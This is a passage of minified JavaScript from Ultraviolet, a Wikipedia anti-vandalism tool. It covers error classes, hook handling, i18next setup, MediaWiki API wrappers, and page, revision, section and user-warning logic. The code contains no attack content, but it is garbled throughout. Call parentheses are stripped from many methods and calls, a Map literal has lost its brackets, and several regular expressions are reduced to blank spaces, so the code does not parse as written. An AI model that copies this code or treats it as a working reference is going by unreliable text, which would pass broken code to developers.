Object.getPrototypeOf(this).constructor.message}}t.default=o,o.message="";class a extends o{constructor(e){super,this.params=e}get message{const e=Object.getPrototypeOf(this).constructor.message;return a.i18next.services.interpolator.interpolate(e,this.params,"qqq",{})}static init{return(0,i.__awaiter)(this,void 0,void 0,(function*{if(null!=a.i18next)throw"Already initialized!";a.i18next=r.default.createInstance,yield a.i18next.init}))}}t.UVFormattedError=a;t.UVAggregateError=class extends o{constructor(e){super,this.errors=e,this.code="UV9000"}get message{const e=this.errors.length;let t=`${e} error${1===e?"s":""}${e>0?": ":""}`;return this.errors.forEach(((e,n)=>{if(0===n)return t+=e.message;t+=", "+e.message})),t}}},3769:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.StyleLoadError=t.StyleMissingError=void 0;const i=n(9213);class r extends i.UVFormattedError{}t.StyleMissingError=r,r.code="UV7000",r.message='The style "" could not be found.';class o extends i.UVFormattedError{}t.StyleLoadError=o,o.code="UV7000",o.message='An error ocurred while the style "" was loading.'},268:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(3848)),o=(0,i.__importDefault)(n(5504));class a{static get hooks{var e;return null!==(e=window.UltravioletHooks)&&void 0!==e?e:window.UltravioletHooks={}}static assertHookType(e){void 0===a.hooks[e]&&(a.hooks[e]=[])}static addHook(e,t){o.default.trace(`Added hook: ${e}`,t),a.assertHookType(e),a.hooks[e].push(t)}static removeHook(e,t){o.default.trace(`Removed hook: ${e}`,t),a.assertHookType(e),a.hooks[e].filter((e=>e!==t))}static executeHooks(e,t={}){var n,s;return(0,i.__awaiter)(this,void 0,void 0,(function*{if(o.default.debug(`Executing hook: ${e}`),a.assertHookType(e),null===(s=null===(n=r.default.activeStyle)||void 0===n?void 0:n.hooks)||void 0===s?void 0:s[e])for(const n of r.default.activeStyle.hooks[e]){const i=n(t);if(i instanceof Promise)try{yield i}catch(i){o.default.error(`Hook failed for style: ${e}`,{type:e,hook:n,paylod:t})}}for(const n of a.hooks[e]){const i=n(t);if(i instanceof Promise)try{yield i}catch(i){o.default.error(`Internal hook failed: ${e}`,{type:e,hook:n,paylod:t})}}document.dispatchEvent(new Event(`ultraviolet:${e}`,{payload:t}))}))}}t.default=a},4470:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655);class r{static init{r.onRTRC="Krinkle/RTRC"===mw.config.get("wgTitle")&&"view"===mw.config.get("wgAction")||"Blankpage"===mw.config.get("wgCanonicalSpecialPageName")&&"RTRC"===mw.config.get("wgTitle").split("/",2)[1],r.onRTRC&&mw.hook("wikipage.diff").add((e=>(0,i.__awaiter)(this,void 0,void 0,(function*{}))))}static nextDiff{r.onRTRC&&$('input[name="autoDiff"]')[0].checked&&$("#diffNext").trigger("click")}}t.default=r},6831:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=(0,i.__importDefault)(n(1261)),o=(0,i.__importDefault)(n(6071)),a=n(8428);class s{static assertLanguages{return(0,i.__awaiter)(this,void 0,void 0,(function*{null==window.UltravioletLanguages&&(window.UltravioletLanguages=[]),yield Promise.resolve.then((=>(0,i.__importStar)(n(2523)))),s.cleanLanguages}))}static cleanLanguages{const e=[];for(const t of window.UltravioletLanguages)e.includes(t.id)||e.push(t.id)}static init{return(0,i.__awaiter)(this,void 0,void 0,(function*{yield s.assertLanguages,yield r.default.use(o.default).init({fallbackLng:s.fallbackLanguage,debug:!1,returnObjects:!0,interpolation:{escapeValue:!1,format:function(e,t,n){const i=function(e,t){const n=e.substring(0,1);let i;return i=["a","e","i","o","u","h"].find((function(e){return n===e}))?t?"An":"an":t?"A":"a",i};return"en-handle-an"===t?!n||n.startsWith("en")?i(e,!1):"":"en-handle-an-capitalized"===t?!n||n.startsWith("en")?i(e,!0):"":e}}});for(const e of window.UltravioletLanguages){for(const t of Object.keys(e.namespaces))r.default.addResourceBundle(e.tag,t,e.namespaces[t],!0);r.default.addResource(e.tag,"common","ultraviolet.version",a.APP_VERSION_TAG)}}))}}t.default=s,s.fallbackLanguage="en-US"},2523:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(8428);null==window.UltravioletLanguages&&(window.UltravioletLanguages=[]),window.UltravioletLanguages.push({tag:"en-US",id:"ultraviolet-default-en-US",meta:{name:"Ultraviolet English",translators:["The Ultraviolet Contributors"],license:{url:"https://www.apache.org/licenses/LICENSE-2.0.txt",text:"Apache License 2.0"},version:i.APP_VERSION,links:{home:"https://en.wikipedia.org/wiki/Wikpedia:Ultraviolet",license:"https://gitlab.com/redwarn/ultraviolet/-/blob/master/LICENSE"}},namespaces:{common:n(6280),mediawiki:n(4304),ui:n(8366),misc:n(2185),prefs:n(9774),revert:n(702)}})},7144:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MediaWikiAPI=void 0;const i=n(655),r=(0,i.__importDefault)(n(1261)),o=n(4802),a=(0,i.__importDefault)(n(9071)),s=(0,i.__importDefault)(n(5504)),l=n(2303),c=(0,i.__importDefault)(n(8939)),d=n(9213);class u{static get(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{const n=Object.assign({format:"json",formatversion:2},e);for(const e of Object.keys(n))Array.isArray(n[e])&&(n[e]=n[e].join("|"));return u.api.get(n,t).catch(((e,t)=>{throw s.default.warn("Error occured while running MediaWiki API get call. Make sure this is handled!",e),t}))}))}static post(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{const n=Object.assign({},e);for(const e of Object.keys(n))Array.isArray(n[e])&&(n[e]=n[e].join("|"));return u.api.post(n,t).catch(((e,t)=>{throw s.default.warn("Error occured while running MediaWiki API get call. Make sure this is handled!",e),t}))}))}static postWithEditToken(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return u.api.postWithEditToken(e,t).catch(((e,t)=>{throw s.default.warn("Error occured while running MediaWiki API get call. Make sure this is handled!",e),t}))}))}static getMessage(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{try{return yield u.api.getMessages(e,t)}catch(e){throw s.default.warn("Error occured while running MediaWiki API getMessage call. Make sure this is handled!",e),e}}))}static init{return(0,i.__awaiter)(this,void 0,void 0,(function*{u.api=new mw.Api({parameters:{format:"json",formatversion:2,errorformat:"plaintext"},ajax:{headers:{"Api-User-Agent":r.default.t("common:ultraviolet.userAgent")}}}),yield Promise.all([o.ClientUser.i.ultravioletConfigPage.getLatestRevision({forceRefresh:!1}).catch((e=>{if(!(e instanceof l.PageMissingError))throw e;return null})),c.default.preloadWikiConfiguration]),yield Promise.all([o.ClientUser.i.init,c.default.loadWikiConfiguration,u.loadGroupNames])}))}static loadGroupNames{return(0,i.__awaiter)(this,void 0,void 0,(function*{const e==>(0,i.__awaiter)(this,void 0,void 0,(function*{const e=yield u.get({action:"query",format:"json",meta:"allmessages",amenableparser:1,amincludelocal:1,amfilter:"-member",amprefix:"group-"}),t=yield u.get({action:"query",format:"json",meta:"allmessages",amenableparser:1,amincludelocal:1,amprefix:"grouppage-"}),n=new Map;for(const t of e.query.allmessages){const e=/^group-(.+)-member$/g.exec(t.name);if(null==e)continue;const i=e[1];n.has(i)?n.get(i).displayName=t.content:n.set(i,{name:i,displayName:t.content})}for(const e of t.query.allmessages){const t=/^grouppage-(.+)$/g.exec(e.name);if(null==t)continue;const i=t[1];n.has(i)?n.get(i).page=o.Page.fromTitle(e.content.replace(/   /gi,"$1:")):n.set(i,{name:i,page:o.Page.fromTitle(e.content.replace(/    /gi,"$1:"))})}try{yield a.default.i.groupCache.runTransaction("readwrite",(e=>{s.default.trace("Saving groups to internal cache...");const t=e.objectStore("groupCache");for(const e of n.values)t.put(e)})),a.default.i.cacheTracker.put({id:"groupCache",timestamp:Date.now})}catch(e){s.default.error("Failed to save to group cache. Skipping...",e)}return n}));if(u.groups)return u.groups;{const t=yield a.default.i.cacheTracker.get("groupCache"),n=(yield a.default.i.groupCache.getAll).reduce(((e,t)=>(e[t.name]=t,e)),{});return null==t||t.timestamp<Date.now-6048e5?u.groups=yield e:u.groups=new Map(Object.entries(n))}}))}static error(e,t){if(!e.errors&&e.error)return new l.GenericAPIError(e.error);if(e.errors){const n=[];for(const i of e.errors)n.push(null!=l.SpecializedMediaWikiErrors[i.code]?new l.SpecializedMediaWikiErrors[i.code](t):new l.GenericAPIError(i));return 1===n.length?n[0]:new d.UVAggregateError(n)}return new l.GenericAPIError("Unknown MediaWiki API error.")}}t.MediaWikiAPI=u},7366:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ClientUser=void 0;const i=n(655),r=n(4802),o=(0,i.__importDefault)(n(5504));class a extends r.UserAccount{constructor{if(super(mw.user.getName),this.clientUserCache={},null!=a.i)throw"Attempt made to reconstruct existing ClientUser."}get ultravioletConfigPage{var e;return null!==(e=this._ultravioletConfigPage)&&void 0!==e?e:this._ultravioletConfigPage=this.getUserSubpage("redwarnConfig.js")}init{return(0,i.__awaiter)(this,void 0,void 0,(function*{o.default.debug("Initializing ClientUser..."),yield Promise.all([this.getGroups])}))}getGroups{return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.clientUserCache.groups||(this.clientUserCache.groups=yield mw.user.getGroups),this.clientUserCache.groups}))}inGroup(e){const t=this.clientUserCache.groups;return!!t.includes(e)||"confirmed"===e&&t.includes("autoconfirmed")}}t.ClientUser=a,a.i=new a},6207:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.GenderDict=void 0,t.GenderDict=new Map("male","he/him"],["female","she/her"],["unknown","they/them")},960:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.GroupArray=t.groupsFromNames=t.groupFromName=void 0;const i=n(4802);t.groupFromName=function(e){return i.MediaWikiAPI.groups.has(e)?i.MediaWikiAPI.groups.get(e):null},t.groupsFromNames=function(e){const t=new r;for(const n of e)"*"!==n&&(i.MediaWikiAPI.groups.has(n)?t.push(i.MediaWikiAPI.groups.get(n)):t.push({name:n}));return t};class r extends Array{includesGroup(e){return"string"==typeof e?this.filter((t=>t.name===e)).length>0:e.map((e=>this.filter((t=>t.name===e)).length>0)).reduce(((e,t)=>e||t),!1)}groupMatch(e){for(const t of e){const e=this.filter((e=>t===e.name));if(e.length>0)return e[0]}return null}}t.GroupArray=r},1762:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MediaWiki=void 0;const i=n(655),r=(0,i.__importDefault)(n(1261)),o=(0,i.__importDefault)(n(7327)),a=(0,i.__importDefault)(n(5504)),s={version:{test:=>-1!==(0,o.default)(mw.config.get("wgVersion"),"1.30.0")},user:{test:=>null!==mw.user.getName}};class l{static runMWChecks{const e=[];for(const t of Object.keys(s))s[t].test||e.push(t);return e}static loadDependencies{return(0,i.__awaiter)(this,void 0,void 0,(function*{yield mw.loader.using(["mediawiki.api","mediawiki.util","mediawiki.Title","mediawiki.language.months"])}))}static mwCheck{const e=l.runMWChecks;if(e.length>0){const t=document.createElement("div");t.innerText=r.default.t("common:ultraviolet.init.error");const n=document.createElement("ul");for(const t of e){a.default.fatal("MediaWiki check failed: "+t);const e=document.createElement("li");e.innerText=r.default.t(`common:ultraviolet.init.mwChecks.${t}`),s[t].silent||n.appendChild(e)}return t.appendChild(n),n.childElementCount>0&&mw.notify(t),!1}return!0}}t.MediaWiki=l},8771:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Page=void 0;const i=n(655),r=n(4802),o=(0,i.__importDefault)(n(7007)),a=(0,i.__importDefault)(n(1261)),s=n(2303),l=n(8910),c=(0,i.__importDefault)(n(3410)),d=(0,i.__importDefault)(n(8542)),u=(0,i.__importDefault)(n(9618)),p=(0,i.__importDefault)(n(8939));class h{constructor(e){e&&Object.assign(this,e)}static getLatestRevisions(e,t,n={}){var o;return(0,i.__awaiter)(this,void 0,void 0,(function*{const i={};if(e.every((e=>e.pageID)))i.pageids=e.map((e=>e.pageID)).join("|");else{if(!e.every((e=>e.title)))return[...yield h.getLatestRevisions(e.filter((e=>e.pageID)),t,n),...yield h.getLatestRevisions(e.filter((e=>e.title)),t,n)];i.titles=e.map((e=>e.title.getPrefixedDb)).join("|")}const a=yield r.MediaWikiAPI.get(Object.assign(Object.assign(Object.assign(Object.assign({action:"query",format:"json",prop:"revisions"},i),{redirects:(null==t?void 0:t.followRedirects)?1:void 0}),{rvprop:["ids","comment","user","timestamp","size","content"],rvslots:"main"}),n)),l=[];for(const n of e){let e=n.title.getPrefixedDb;if(a.query.normalized){const t=a.query.normalized.find((t=>t.from===e));t&&(e=t.to)}if(t.followRedirects&&a.query.redirects){const t=a.query.redirects.find((t=>t.from===e));t&&(e=t.to)}const i=n.getIdentifier,c=a.query.pages.find((t=>i instanceof mw.Title?t.title===e:t.pageid=n.pageID));if(c.missing){if(null===(o=null==t?void 0:t.throwIfMissing)||void 0===o||o)throw new s.PageMissingError({page:n});continue}if(c.special)throw new s.PageInvalidError({page:n,reason:"Special page."});const d=c.revisions[0];n.latestCachedRevision=r.Revision.fromPageLatestRevision(d.revid,{query:{pages:[c]}}),l.push(n.latestCachedRevision)}return l}))}get url{const e=this.getIdentifier;return"number"==typeof e?(0,l.url)(o.default.wikiIndex,{curid:e}):this.articleURL}get articleURL{return o.default.articlePath(this.title.getPrefixedText)}static fromID(e){return new h({pageID:e})}static fromTitle(e){var t;const n="string"==typeof e?new mw.Title(e):e;return null!==(t=h.pageIndex[`${n}`])&&void 0!==t?t:h.pageIndex[`${n}`]=new h({title:n,namespace:n.namespace})}static fromIDAndTitle(e,t){var n;const i="string"==typeof t?new mw.Title(t):t;return h.pageIndex[`${i}`]&&null==h.pageIndex[`${i}`].pageID&&(h.pageIndex[`${i}`].pageID=e),null!==(n=h.pageIndex[`${i}`])&&void 0!==n?n:h.pageIndex[`${i}`]=new h({pageID:e,title:i,namespace:i.namespace})}static isSpecialPage(e){return e.isNamed||null!=e.namespace?(e.namespace||e.title.getNamespaceId)<0:e.getLatestRevision.then((e=>h.isSpecialPage(e.page)))}static isUserspacePage(e){return e.isNamed?(2==e.namespace?"user":3==e.namespace&&"talk")||!1:null==e.title?e.getLatestRevision.then((e=>h.isUserspacePage(e.page))):void 0}static exists(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{try{return null!=(yield h.getLatestRevision(e))}catch(e){if(e instanceof s.PageMissingError)return!1;throw e}}))}static getLatestRevision(e,t,n={}){var o,a;return(0,i.__awaiter)(this,void 0,void 0,(function*{const i=yield r.MediaWikiAPI.get(Object.assign(Object.assign(Object.assign({action:"query",format:"json",prop:"revisions"},e.getAPIIdentifier),{rvprop:["ids","comment","user","timestamp","size","content"],rvslots:"main",rvexcludeuser:null!==(a=null===(o=null==t?void 0:t.excludeUser)||void 0===o?void 0:o.username)&&void 0!==a?a:void 0}),n));if(i.query.pages[0]){if(i.query.pages[0].missing)throw new s.PageMissingError({page:e});if(i.query.pages[0].invalid)throw new s.PageInvalidError({page:e,reason:i.query.pages[0].invalidreason})}if(i.query.pages[-1])throw new Error("Invalid page ID or title.");const l=Object.values(i.query.pages)[0];return e.title||(e.title=l.title),e.namespace||(e.namespace=l.ns),l.revisions&&0!==l.revisions.length?e.latestCachedRevision=r.Revision.fromPageLatestRevision(l.revisions[0].revid,i):null}))}isNamed{return null!=this.title}getIdentifier(e=!0){var t,n;return this.pageID&&!e?this.pageID:this.pageID||e?this.title&&e?this.title:!this.title&&e?null!==(n=this.pageID)&&void 0!==n?n:null:void 0:null!==(t=this.title)&&void 0!==t?t:null}getAPIIdentifier{const e=this.getIdentifier;return{["number"==typeof e?"pageids":"titles"]:`${e}`}}exists{return(0,i.__awaiter)(this,void 0,void 0,(function*{return h.exists(this)}))}getLatestRevision(e={}){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=0===Object.keys(e).filter((e=>"forceRefresh"!==e)).length;if(e.forceRefresh||null==this.latestCachedRevision||!t){if(!t)return h.getLatestRevision(this,e);this.latestCachedRevision=yield h.getLatestRevision(this,e)}return this.latestCachedRevision}))}getSections{return(0,i.__awaiter)(this,void 0,void 0,(function*{return d.default.getSections(this)}))}firstSection{return(0,i.__awaiter)(this,void 0,void 0,(function*{return d.default.getSections(this).then((e=>e[0]))}))}lastSection{return(0,i.__awaiter)(this,void 0,void 0,(function*{return d.default.getSections(this).then((e=>e[e.length]))}))}findSection(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return d.default.getSections(this).then((t=>{var n;return null!==(n=t.find((t=>"string"==typeof e?t.title===e:t.index===e)))&&void 0!==n?n:null}))}))}hasLatestRevision{return!!this.latestCachedRevision}getLatestRevisionNotByUser(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.getLatestRevision({excludeUser:e})}))}navigate(e=!1){(0,c.default)(this.url,e)}navigateToLatestRevision{(0,c.default)((0,u.default)(o.default.wikiIndex,{diff:0,title:this.title}))}openInNewTab{open(this.url)}getSubpage(e){return h.fromTitle(`${this.title.getPrefixedText}/${e}`)}edit(e,t){var n;return(0,i.__awaiter)(this,void 0,void 0,(function*{const i=this.getIdentifier;let o,l=null;if(t.section){t.section instanceof d.default&&t.section.revision===this.latestCachedRevision?l=t.section:t.section instanceof d.default&&(t.section=t.section.title),null==this.sections&&(yield this.getSections);const n=this.sections[0].revision,i=this.sections;if(null==l){if(!n&&"number"==typeof t.section)throw new s.PageMissingError({page:this});if("number"==typeof t.section){if(l=i.filter((e=>e.index===t.section))[0],null==l)throw new s.SectionIndexMissingError({sectionId:t.section,revision:n})}else l=i.filter((e=>e.title===t.section))[0],null==l&&(e=e.trimStart)}}switch(t.mode){case"append":o={appendtext:e};break;case"prepend":o={prependtext:e};break;default:o={text:e}}return r.MediaWikiAPI.postWithEditToken(Object.assign(Object.assign(Object.assign({action:"edit",format:"json",["number"==typeof i?"pageid":"title"]:`${i}`,summary:`${null!==(n=t.comment)&&void 0!==n?n:""} ${a.default.t("common:ultraviolet.signature")}`,tags:p.default.c.meta.tag},t.baseRevision?{baserevid:t.baseRevision.revisionID}:{}),t.section?l?{section:l.index}:{section:"new",sectiontitle:t.section}:{}),o))}))}appendContent(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.edit(e,Object.assign({mode:"append"},t))}))}prependContent(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.edit(e,Object.assign({mode:"prepend"},t))}))}}t.Page=h,h.pageIndex={}},7117:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Revision=void 0;const i=n(655),r=n(4802),o=(0,i.__importDefault)(n(3410)),a=(0,i.__importDefault)(n(5504)),s=(0,i.__importDefault)(n(8542)),l=(0,i.__importDefault)(n(9618)),c=(0,i.__importDefault)(n(7007));class d{constructor(e){e&&Object.assign(this,e)}static fromID(e,t){var n;return null!==(n=d.revisionIndex[e])&&void 0!==n?n:d.revisionIndex[e]=new d(Object.assign({revisionID:e},null!=t?t:{}))}static fromIDToPopulated(e){var t;return(0,i.__awaiter)(this,void 0,void 0,(function*{return yield d.populate(null!==(t=d.revisionIndex[e])&&void 0!==t?t:d.revisionIndex[e]=new d({revisionID:e}))}))}static fromIDAndText(e,t){var n;const i=null!==(n=d.revisionIndex[e])&&void 0!==n?n:d.revisionIndex[e]=new d({revisionID:e});return i.content=t,i}static fromPageLatestRevision(e,t){var n,i;const o=Object.values(t.query.pages)[0],a=o.revisions[0];return d.revisionIndex[e]=new d({revisionID:e,parentID:a.parentid,page:r.Page.fromIDAndTitle(o.pageid,o.title),comment:a.comment,user:r.User.fromUsername(a.user),time:new Date(a.timestamp),size:a.size,content:null===(i=null===(n=a.slots)||void 0===n?void 0:n.main)||void 0===i?void 0:i.content})}static fromEditReponse({edit:e}){return new d({revisionID:e.newrevid,parentID:e.oldrevid,page:r.Page.fromIDAndTitle(e.pageid,e.title)})}static populate(e){var t,n;return(0,i.__awaiter)(this,void 0,void 0,(function*{const i=["ids"];if(e.comment||i.push("comment"),e.user||i.push("user"),e.time||i.push("timestamp"),e.size||i.push("size"),i.length>0){const o=yield r.MediaWikiAPI.get({action:"query",format:"json",prop:"revisions",revids:`${e.revisionID}`,rvprop:i,rvslots:"main"});if(o.query.badrevids)throw new Error("Invalid revision ID");const a=Object.values(o.query.pages)[0],s=a.revisions[0];e.page=r.Page.fromIDAndTitle(a.pageid,a.title),e.content=s.revid,s.comment&&(e.comment=s.comment),s.user&&(e.user=r.User.fromUsername(s.user)),s.timestamp&&(e.time=new Date(s.timestamp)),s.size&&(e.size=s.size),(null===(n=null===(t=s.slots)||void 0===t?void 0:t.main)||void 0===n?void 0:n.content)&&(e.content=s.slots.main.content)}return e}))}getContent{var e,t,n,o,a;return(0,i.__awaiter)(this,void 0,void 0,(function*{if(this.content)return this.content;const i=yield r.MediaWikiAPI.get({action:"query",format:"json",prop:"revisions",revids:`${this.revisionID}`,rvprop:"content",rvslots:"main"}),s=Object.values(i.query.pages)[0];return this.content=null!==(a=null===(o=null===(n=null===(t=null===(e=s.revisions)||void 0===e?void 0:e[0])||void 0===t?void 0:t.slots)||void 0===n?void 0:n.main)||void 0===o?void 0:o.content)&&void 0!==a?a:null,this.content}))}getSections{return(0,i.__awaiter)(this,void 0,void 0,(function*{return s.default.getSections(this)}))}isPopulated{return!(null==this.page||null==this.comment||null==this.parentID||null==this.user||null==this.time||null==this.size||null==this.content)}populate{return(0,i.__awaiter)(this,void 0,void 0,(function*{return d.populate(this)}))}getLatestRevision(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.page||(a.default.warn("Page of revision was not set. This is inefficient!",{stack:new Error("Inefficient latest revision get.")}),yield this.populate),this.page.getLatestRevision(e)}))}isLatestRevision{return(0,i.__awaiter)(this,void 0,void 0,(function*{return(yield this.getLatestRevision).revisionID===this.revisionID}))}navigate{(0,o.default)(r.MediaWikiURL.getDiffUrl(this.revisionID))}restore(e){return r.Revert.restore(this,e)}navigateToLatestRevision{(0,o.default)((0,l.default)(c.default.wikiIndex,{diff:0,title:`${this.page.title}`}))}appendContent(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{this.page||(a.default.warn("Page of revision was not set. This is inefficient!",{stack:new Error("Inefficient revision content append.")}),yield this.populate),this.page.appendContent(e,Object.assign({mode:"append",baseRevision:this},t))}))}}t.Revision=d,d.revisionIndex={}},8542:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655),r=n(7117),o=n(8771),a=n(7144);class s{constructor(e,t){this.toc={level:t.toclevel,number:t.number},this.level=t.level,this.index=+t.index,this.title=t.line,this.revision=e,this.byteoffset=t.byteoffset,this.anchor=t.anchor}static getSections(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{if(e.sections)return e.sections;const t=yield a.MediaWikiAPI.get(Object.assign(Object.assign({action:"parse",format:"json"},e instanceof o.Page?{page:`${e.title}`}:{oldid:e.revisionID}),{prop:["sections","revid",...e instanceof r.Revision&&e.content?[]:["wikitext"]]})).catch((t=>{let n;if(e instanceof o.Page)n={page:e};else{if(!(e instanceof r.Revision))throw"Impossible else";n={revision:e}}throw a.MediaWikiAPI.error(t,n)}));if(null==t.parse||null==t.parse.sections)throw new Error("Invalid request.");e instanceof o.Page?(e.title||(e.title=t.parse.title),e.pageID||(e.pageID=t.parse.pageid),e.latestCachedRevision=r.Revision.fromIDAndText(t.parse.revid,t.parse.wikitext),e.latestCachedRevision.page=Object.assign(e,{title:e.title})):(e.page?e.page.title?e.page.pageID||(e.page.pageID=t.parse.pageid):e.page.title=t.parse.title:e.page=o.Page.fromIDAndTitle(t.parse.pageid,t.parse.title),e.content||(e.content=t.parse.wikitext));const n=[new s(e instanceof r.Revision?e:e.latestCachedRevision,{toclevel:0,level:"2",line:null,number:"0",index:"0",fromtitle:e instanceof r.Revision?e.page.title:e.title,byteoffset:0,anchor:"top"})];for(const i of t.parse.sections)n.push(new s(e instanceof o.Page?e.latestCachedRevision:e,i));return e.sections=n,e instanceof o.Page&&(e.latestCachedRevision.sections=n),n}))}hasSubsections{for(const e of this.revision.sections)if(!(e.index<=this.index))return e.index>this.index&&e.level>this.level;return!1}getContent(e=!0){let t=null;for(const n of this.revision.sections)if(!(n.index<=this.index)){if(e&&n.index>this.index&&n.level===this.level){t=n;break}if(n.index>this.index){t=n;break}}return this.revision.content.substring(this.byteoffset,t?t.byteoffset:void 0)}setContent(e,t={}){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.revision.page.edit(e,Object.assign({mode:"replace",baseRevision:this.revision,section:this},t))}))}appendContent(e,t={}){return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.revision.page.edit(e,Object.assign({mode:"append",baseRevision:this.revision,section:this},t))}))}prependContent(e,t={}){var n;return(0,i.__awaiter)(this,void 0,void 0,(function*{if(null!==(n=null==t?void 0:t.belowHeader)&&void 0!==n&&n){const n=this.getContent(!1).split("\n");return this.setContent(n[0]+"\n"+e+n.slice(1).join("\n"),t)}return this.revision.page.edit(e,Object.assign({mode:"prepend",baseRevision:this.revision,section:this},t))}))}}t.default=s},2152:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.UserIP=t.UserAccount=t.User=void 0;const i=n(655),r=(0,i.__importDefault)(n(9158)),o=(0,i.__importDefault)(n(6237)),a=n(4802),s=(0,i.__importDefault)(n(1261)),l=n(2303),c=n(8910),d=n(6695),u=(0,i.__importDefault)(n(5504));class p{constructor(e,t){this.username=e,this._userSubpages={},this._userTalkSubpages={},t&&Object.assign(this,t)}static get relevantUser{return null==mw.config.get("wgRelevantUserName")?null:p.fromUsername(mw.config.get("wgRelevantUserName"))}get userPage{var e;return null!==(e=this._userPage)&&void 0!==e?e:this._userPage=a.Page.fromTitle(`User:${this.username}`)}get talkPage{var e;return null!==(e=this._talkPage)&&void 0!==e?e:this._talkPage=a.Page.fromTitle(`User talk:${this.username}`)}static fromUsername(e,t){return new((0,c.isIPAddress)(e)?f:h)(e,t)}static fromUsernameToPopulated(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=((0,c.isIPAddress)(e)?f:h).fromUsername(e);return yield t.populate}))}static populate(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=(yield a.MediaWikiAPI.get({action:"query",format:"json",list:["usercontribs"],uclimit:1,ucuser:e.username})).query.usercontribs[0];return e.latestEdit=t?a.Revision.fromID(t.revid,{user:e,page:a.Page.fromIDAndTitle(t.pageid,t.title),parentID:t.pageid,time:new Date(t.timestamp),comment:t.comment,size:t.size}):null,e}))}isPopulated{return!(void 0===this.latestEdit)}populate{return(0,i.__awaiter)(this,void 0,void 0,(function*{return p.populate(this)}))}getWarningAnalysis(e=!1){return(0,i.__awaiter)(this,void 0,void 0,(function*{if(!this.warningAnalysis||e){const e=this.talkPage;try{const t=yield e.getSections,n=e.latestCachedRevision.content;if(n&&0!==n.length){const n=t.filter((e=>e.title===(0,o.default)))[0];if(n){const t=n.getContent;this.warningAnalysis={level:(0,d.highestWarningLevel)(t),notices:t,page:e}}else this.warningAnalysis={level:a.WarningLevel.None,notices:null,page:e}}else this.warningAnalysis={level:a.WarningLevel.None,notices:null,page:e}}catch(t){if(!(t instanceof l.PageMissingError))throw t;this.warningAnalysis={level:a.WarningLevel.None,notices:null,page:e}}}return this.warningAnalysis}))}appendToUserTalk(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{if(null==this.username||"null"==`${this.username}`.toLowerCase||"undefined"==`${this.username}`.toLowerCase)return void r.default.Toast.quickShow({content:s.default.t("ui:toasts.userUndefined")});let n=null;try{yield this.talkPage.getSections,n=this.talkPage.latestCachedRevision}catch(e){if(!(e instanceof l.PageMissingError))throw e}if(!(n&&t.denylist&&n.content.includes(t.denylist.target)))return t.comment,this.talkPage.appendContent(e,t);r.default.Toast.quickShow({content:t.denylist.message})}))}getUserSubpage(e){var t;return null!==(t=this._userSubpages[e])&&void 0!==t?t:this._userSubpages[e]=this.userPage.getSubpage(e)}getUserTalkSubpage(e){var t;return null!==(t=this._userTalkSubpages[e])&&void 0!==t?t:this._userTalkSubpages[e]=this.talkPage.getSubpage(e)}static warn(e){var t,n,r,l;return(0,i.__awaiter)(this,void 0,void 0,(function*{if(u.default.trace("Sending warning...",e),null==e)return!1;const i={[a.WarningType.Tiered]:e.warnLevel,[a.WarningType.PolicyViolation]:5,[a.WarningType.SingleIssue]:0}[e.warning.type],c={[a.WarningType.Tiered]:null!==(n=null===(t=e.warning.summary)||void 0===t?void 0:t[e.warnLevel])&&void 0!==n?n:e.warning.name,[a.WarningType.PolicyViolation]:null!==(r=e.warning.summary)&&void 0!==r?r:e.warning.name,[a.WarningType.SingleIssue]:null!==(l=e.warning.summary)&&void 0!==l?l:e.warning.name}[e.warning.type];try{yield e.targetUser.appendToUserTalk(`\r\n\r\n${e.warningText}`,{comment:s.default.t("mediawiki:summaries.warn",{context:`${i}`,reason:c}),section:(0,o.default)})}catch(t){if("UV4001"!==(null==t?void 0:t.code))throw t;yield e.targetUser.talkPage.edit(`== ${(0,o.default)} ==\r\n${e.warningText}`,{comment:s.default.t("mediawiki:summaries.warn",{context:i,reason:c})})}return!0}))}openMessageDialog{return(0,i.__awaiter)(this,void 0,void 0,(function*{const e=s.default.t("mediawiki:newMessage",{user:this.username}),t=yield new r.default.InputDialog({area:!0,label:s.default.t("ui:newMessage.label"),width:"500px",height:"200px",class:"mw-editfont-monospace",style:{fontFamily:"inherit"},defaultText:`== ${e} 